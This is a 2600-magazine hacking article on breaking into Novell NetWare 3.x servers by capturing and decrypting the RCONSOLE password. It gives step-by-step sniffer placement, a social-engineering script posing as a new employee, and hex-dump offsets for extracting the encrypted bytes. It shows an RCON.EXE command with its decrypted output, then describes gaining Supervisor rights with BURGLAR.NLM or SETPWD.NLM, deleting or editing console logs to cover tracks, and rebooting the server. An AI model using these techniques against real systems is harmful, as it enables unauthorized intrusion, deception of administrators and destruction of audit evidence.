CONSOLE Hacking

by Simple Nomad

There are many companies and universities running Novell's NetWare Operating System.  Despite advances in both the UNIX and Microsoft NT worlds, Novell still has a commanding 60% of the market share.  The other platforms are just now matching NetWare's main strengths - extremely fast and reliable file and print services.  This means that for the professional hacker (yes, they do exist, most commonly refer to themselves as "information warriors") knowledge about NetWare is critical.  All of those company reports, spreadsheets, secret memos, password lists, dial-in/dial-out phone numbers, remote access procedures, bank account and wire transfer procedures, and much more are stored in files on NetWare servers all across the world.

In this article I intend on showing you how to extract the RCONSOLE password from a sniffer trace to gain access to a Novell NetWare's server console.  While versions 3.x and 4.x employ packet signature and encryption techniques for a user to login, RCONSOLE (Remote CONSOLE) used a single password to launch a remote session to the server's console, allowing an administrator to type in commands as if they are at the console itself.

It should also be noted that while the current version of NetWare is 4.1 and this technique will only work on 3.x networks, the majority of sites have not upgraded to 4.1, and those that have usually have a few 3.x servers still in use.  Typically in large universities and corporations it is easier for support personnel to set the RCONSOLE password the same on all servers, so even though this technique will not work on 4.1, if there is a 3.x server around you may still end up with the password.

While this article assumes some basic NetWare knowledge, I do want to cover a few items regarding security.

Security Quick Basics

There are 5 different levels of security within NetWare at the file level.  These are:

1.  Not logged in.  All you need is a connection to the server, you do not need to log in.  This level of access allows running the most simple commands, such as LOGIN.EXE, SLIST.EXE, and basically any utility loaded into the SYS:LOGIN directory that doesn't require additional access.

2.  Logged in.  Basic access controlled through Trustee Rights.

3.  Operator access.  Operators have basic access and can control print queues, run a few special commands including FCONSOLE.

4.  Supervisor access.  Full access to the file system.  This is the access level most guarded, as you can get to any and every file on the system, administer and control virtually every aspect from user access to server configuration to security.

5.  OS access.  This is the level of access that processes running on the server run at.  Most commands typed in at the console run at this level, and while you cannot access the file system at the level of detail that you can as a Supervisor, you can certainly open the door for Supervisor access.  Network Loadable Modules (NLM) are programs that when loaded at the console become a part of the NetWare OS environment.  Some NLMs stay loaded, some perform their task and then unload themselves, but all of them run at this level of security. Gaining access to the console gives you this level of access.

What we are going to cover is an inherit weakness within the security system of NetWare -- remote access to the console.  While Novell has gone to great lengths to ensure adequate security for security levels 1-4 listed above, RCONSOLE access is protected by a single password with simple encryption, encryption that can be broken.  One of the tools I will refer to is RCON.EXE.  This utility, written by "itsme" of the Netherlands (author of HACK.EXE, KNOCK.EXE and several other notorious NetWare tools), allows you to take information gained from a sniffer trace of the RCONSOLE initialization conversation and break the encryption -- essentially "decrypting" the RCONSOLE password.

Once you have the RCONSOLE password, you can employ other techniques to open a door to the entire file system -- Supervisor access.

The hardest part, in my opinion, is getting the trace.  Most of the information in this article involves technical items based on predictable and repeatable facts.  But getting the capture of a trace using a sniffer can be very tricky.  You are dealing with a few different items - accessibility, availability, and timing.

Accessibility

You will need access to the network.  Specifically, you will need to run your sniffer trace either on the server's segment or the user's segment, otherwise you may never see the conversation.  While it is possible to run the trace on a segment over which the traffic passes, it is easier to find out the segment of the user.  The easiest way is to log into the a server that the target user logs into and type USERLIST /A.  From the list you should see the network and the node address.  The network number is the segment the user is on, and the node address is the 12-digit hex number burnt into the Network Interface Card (NIC), also known as the MAC, or Media Access Control address.

Of course the proceeding paragraph assumes you have physical access to the network.  It is possible to dial into a LAN running pcAnywhere, install a DOS-based sniffer, and capture packets.  It is also possible to get to a UNIX box and start up a sniffer there by putting the network card into promiscuous mode (that is of course an entire article in itself).  I will not get into those details here, but you have to assume that the System Administrator doesn't have the pcAnywhere dial-in machine right there at his desk, or you can get by the firewall.  There is nothing worse than dialing into a LAN using pcAnywhere and having the System Administrator watch every single thing you do because the machine is sitting right there on the Admin's desk!

Availability

Running a sniffer trace is pretty CPU intensive.  The CPU must be fast enough to copy all info from the NIC's buffer to RAM without missing a packet.  If your sniffer is filtering information, that is if it is looking at the insides of each packet and only saving those that meet certain criteria, this can be even more CPU intensive.  Some of you may have already noticed a big dilemma.  You have to have a sniffer running on a computer that can handle a decent amount of CPU activity (486 recommended), attached to a specific network, and allowed to run without someone walking up and noticing.  This means you can't grab an old 286 and patch into the cabling and shove into the ceiling above the ceiling tiles - you need a decent piece of hardware.

A fast 386 or a 486 is good.  Next you have to hope that your DOS-based sniffer supports whatever network card is in the box, and that whatever network that's in the box can be run in promiscuous mode.  The most common DOS-based sniffer is Gobbler, and often will work with the most common Ethernet cards with little tweaking.  However you may need to find an alternate driver that allows promiscuous mode on the card you are using.

What this boils down to is that while you may have access to the network, the site's hardware may not support a sniffer.

If there is a UNIX box, particularly if it is a server, it is possible with the proper access to put the server's network card into promiscuous mode.  I prefer targeting UNIX servers over Unix workstations because they are often located in the same room as the NetWare servers, possibly even on the same segment.

Timing

This one is the kicker.  If you can meet the previous requirements, then you are left with the hardest one -- getting the actually packet captured.  This can be accomplished in one of two ways.  First, through some social engineering you can create a need for the Sys Admin to launch RCONSOLE, or you can filter out and look for that single packet that contains the password.

The first way is a bit tricky, but not impossible.  Posing as a new employee, call the Sys Admin and say that when you try to log in you keep getting the message "The SUPERVISOR has disabled the login function."  To fix this, the normal thing to do is type ENABLE LOGIN at the console prompt.  The Admin will invariably launch RCONSOLE to correct the problem, and then you have your packet.  S/he will tell you that everything looks okay, so then say "My computer is locked up."  They will probably conclude that the problem is at your workstation and advise you to reboot, with the chances being very good they'll say "When it comes up you should be okay, so call me back if there's a problem" and then hang up.  Fine.  You've got the packet.

The second one depends on your sniffer.  If it can actually analyze packets in real time, have it capture only packets between the Sys Admin's desk and the server, plus only save SPX packets.  If it only works using a pattern match of some kind, use the detailed information on identifying the packets to find a specific pattern for your sniffer to key off of.  At the end of the next section are some pattern matching tips.

A final note on accessibility, availability, and timing -- a carefully placed laptop with an Ethernet PCMCIA running sniffer software AND filtering capabilities will get you everything.  Serious hackers will use a laptop running Lanalyzer or Network General's Sniffer coupled with techniques similar to those outlined in Voyager's article "Janitor Privileges" in the Winter 94-95 issue of 2600 to plant a sniffer with filters.

Analyzing the Packets

Once you've captured packets from your user, you need to be able to look at the data and interpret it.  You must be able to find the packets coming from the user going to the server.  Depending on your sniffer, this may prove to be quite a task.  Most of the high-priced sniffers allow you to filter on addresses and packet type, and these features are great for finding exactly what you need. But the low-end solutions, especially freeware or shareware, may have little or no filtering capability, and that means looking at a lot of hex dumps.

But we will assume that you know how to use your sniffer (or get the dump from a promiscuous network card) and at least get to the point of finding the user's and the server's conversation.  To help you find these packets, we will discuss ways to find the addresses

Now here are the first three packets that are sent after the user has hit enter after entering the password.

Ethernet packet sent from the workstation to the server to establish the SPX connection:

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 2A FF FF
0010  00 2A 04 05 00 00 00 03  00 00 00 00 00 01 81 04
0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E C0 00 44 00
0030  FF FF 00 00 00 00 00 06  ED 05 00 00

The server responses:

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 00 A2 00 3D 77 00 80  29 00 34 35 00 2A FF FF
0010  00 2A 01 05 00 00 00 02  02 60 8C A7 E9 AA 50 0E
0020  00 00 00 03 00 00 00 00  00 01 81 04 80 00 90 82
0030  44 00 00 00 00 00 00 00  08 00 5A 7F

And the password is sent:

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 AC FF FF
0010  00 AC 04 05 00 00 00 03  00 00 00 00 00 01 81 04
0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E 40 00 44 00
0030  90 82 00 00 00 00 00 06  FE FF 47 45 5A 4D 4C 24
0040  8C 9C 8A 3A B3 46 33 25  13 15 6E 94 94 4F C0 5B
0050  08 14 A5 0A 70 E5 F2 0B  F4 70 AA 03 FA 3F C4 88
0060  C0 79 FF 85 CB 0B 27 56  B6 D3 CF 8E 2D 9F 7D 25
0070  85 25 7C E8 B3 95 29 AF  8C 8E 4E 11 EE F7 37 8C
0080  35 C4 AD A3 F9 80 18 4E  0C CD 9E 26 0B 65 2A 3B
0090  1A 1E F4 AD 43 BB 6E 06  35 8C 49 3B 3B 3A B6 00
00A0  39 CB 17 6B C2 5C 63 38  D1 0B 3C A0 EB B0 40 66
00B0  87 DE E6 3E 1C 2A 12 FC  A2 37                  

To explain a bit of what is going on, let's look at what makes up these packets, starting with the first one.

Offset 00h through 0Dh is the Data Link Control layer:

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 2A        Offset 00h through 0Dh
                                                        is the Data Link
                                                        Control layer.

0000                                             FF FF  Start of IPX header, 
0010  00 2A 04 05                                       FF FF is a checksum
                                                        10h and 11h is the IPX 
                                                        length, 12h is the
                                                        transport control, 13h
                                                        is the IPX packet type 
                                                        (05 is SPX).

0010              00 00 00 03  00 00 00 00 00 01 81 04  14h through 1Fh is the
                                                        packet destination
                                                        with the socket. NetWare
                                                        servers are always
                                                        00 00 00 00 00 01.

0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E              20h through 29h is the
                                                        packet source

0020                                       C0 00 44 00  2Ch starts the SPX 
                                                        section with 2Ch the
                                                        control type, 2Dh the
                                                        datastream type, and
                                                        2Eh and 2Fh the SPX
                                                        source connection ID.

0030  FF FF 00 00 00 00 00 06                           30h and 31h are the 
                                                        destination connect
                                                        ID. FF FF is a 
                                                        broadcast or the 1st
                                                        SPX packet in this 
                                                        conversation. The 
                                                        next 3 byte pairs are
                                                        the sequence number,
                                                        the acknowledgement 
                                                        number and the 
                                                        allocation number.

0030                                       ED 05 00 00  The minimum length for
                                                        a packet will be 60
                                                        bytes, so if there 
                                                        is no data then the
                                                        last 4 bytes are 
                                                        padded with junk.

Pattern Matching Tips

If you are lucky and your sniffer supports pattern matching, here are some tips on getting the RCONSOLE "conversation."

1.  Look for FF FF xx xx xx 05 to find an SPX packet starting at offset 0Eh.

2.  The address of the server starts at offset 14h, in the above packet it is 00000003:000000000001 with an IPX socket of 8104.  All IPX conversations use IPX socket numbers, so pattern match off of 14h through 1Dh.

3.  The address of the user starts at offset 20h, in the above packet it is 00000002:02608CA7E9AA with an IPX socket of 500E.  Pattern match on offset 20h through 29h.

With the information above you should be able to identify an SPX packet when you see one, and identify the addresses of the server and the user.  Now let's use this information to get what we need out of the third packet we've captured, the one with the RCONSOLE password.

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 AC FF FF
0010  00 AC 04 05 00 00 00 03  00 00 00 00 00 01 81 04
0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E 40 00 44 00
0030  90 82 00 00 00 00 00 06  FE FF 47 45 5A 4D 4C 24
0040  8C 9C 8A 3A B3 46 33 25  13 15 6E 94 94 4F C0 5B
0050  08 14 A5 0A 70 E5 F2 0B  F4 70 AA 03 FA 3F C4 88
0060  C0 79 FF 85 CB 0B 27 56  B6 D3 CF 8E 2D 9F 7D 25
0070  85 25 7C E8 B3 95 29 AF  8C 8E 4E 11 EE F7 37 8C
0080  35 C4 AD A3 F9 80 18 4E  0C CD 9E 26 0B 65 2A 3B
0090  1A 1E F4 AD 43 BB 6E 06  35 8C 49 3B 3B 3A B6 00
00A0  39 CB 17 6B C2 5C 63 38  D1 0B 3C A0 EB B0 40 66
00B0  87 DE E6 3E 1C 2A 12 FC  A2 37                  

What we need is the network address (offset 20h through 23h), the node address (offset 24h through 29h) and the actual encrypted password.  In the data section starting at 38h, 38h will always be FE and 39h will always be FF.  The next 8 bytes will be the password bytes.  I know what you're thinking, there's a lot of other bytes there, but the first 8 are the significant ones.  Not exactly C2, are we?

Running RCON

From the example above, the password is 47455A4D4E248C9C, the network is 00000002 and the node is 02608CA7E9AA.  Therefore you would run RCON as follows: RCON 47455A4D4E248C9C 00000002 02608CA7E9AA

It will response with the following:

decrypted pw:
0000 : 47 45 5a 4f 4e 44 00 3b e9 aa 15 15 15 17 17 75  - GEZOND.;.......u
node address after encryption:
0000 : 11 11 11 13 13 71 9d b8 e5 a6                    - .....q....¦      

As you can see, the RCONSOLE password is "GEZOND".

The Next Step

Now a few things to keep in mind when accessing the console remotely.  When using RCONSOLE, your activities are being recorded.  So after getting the password, don't just jump into RCONSOLE without planning on doing something to cover your tracks.  And to cover your tracks you must gain access to the file system.

A quick note -- since the Supervisor password also works with RCONSOLE, always try to login as Supervisor with the password you have uncovered.  If you get in, great.  Full access to the file system.

Now I'm not going to go into a LOT of detail here, but there are several techniques you can use to gain access to the file system as Supervisor.  All of the ones I'm going to mention involve uploading NLMs to the file server and then running them.  RCONSOLE has a built-in option to upload files to the server (hit * on the keypad and select the option for transferring files to the server).  You should immediately upload a nefarious NLM to gain file system access and wipe your tracks.  Here is a quick example, once again assuming some general NetWare admin knowledge:

1.  At the system console, type in UNLOAD CONLOG.  If CONLOG is loaded, every response to every command at the console is being written to a file.  The CONLOG.NLM comes with 4.x but works with 3.x.

2.  Upload BURGLAR.NLM and create a new user with Supervisor rights, or upload SETPWD.NLM and reset a Supervisor equivalent user ID's password (BURGLAR.NLM and SETPWD.NLM can be found on the Internet).

3.  Exit RCONSOLE and login.

4.  Delete BURGLAR.NLM or SETPWD.NLM and purge it from the system.

5.  If CONLOG was loaded, find and delete or edit the CONSOLE.LOG file to remove your activity.  Delete or edit SYS$LOG.ERR and remove any activity you create there.  If you delete these files, purge them.  If you edit these files, use FILER to reset the ownership of the file.

Of course the quick-witted admin might notice CONLOG isn't loaded -- if I think an admin is going to notice that, I reboot the server by running an NCF file with the following lines:

REMOVE DOS
DOWN
EXIT

When running this NCF file, I remain remoted into the console in case I need to answer "Yes" to the "Are you sure?" questions.  For more information on creating and running NCF files, refer to one of hundreds of NetWare books currently available at any bookstore.

Conclusions

Well, the first conclusion is that NetWare's RCONSOLE utility isn't very secure!  If you are an administrator, the only way to thwart this type of attack at this time is to upgrade to 4.x and use packet signature.

Of course the other items to recap are 1.) you are going to need a little time and access, both at the RIGHT time; 2.) you are going to have to have a couple more tools (like SETPWD.NLM or BURGLAR.NLM) to gain file system access; 3.) it is highly recommended you work quickly (duh); and 4.) you should cover your tracks as best you can.

Have fun and happy hacking.

[ Thanks to itsme for coding RCON.EXE and Jeff Carr for assisting in testing of the techniques of this article. RCON.EXE can be found at ftp.fastlane.net in the /pub/nomad/nw directory. ]

Return to $2600 Index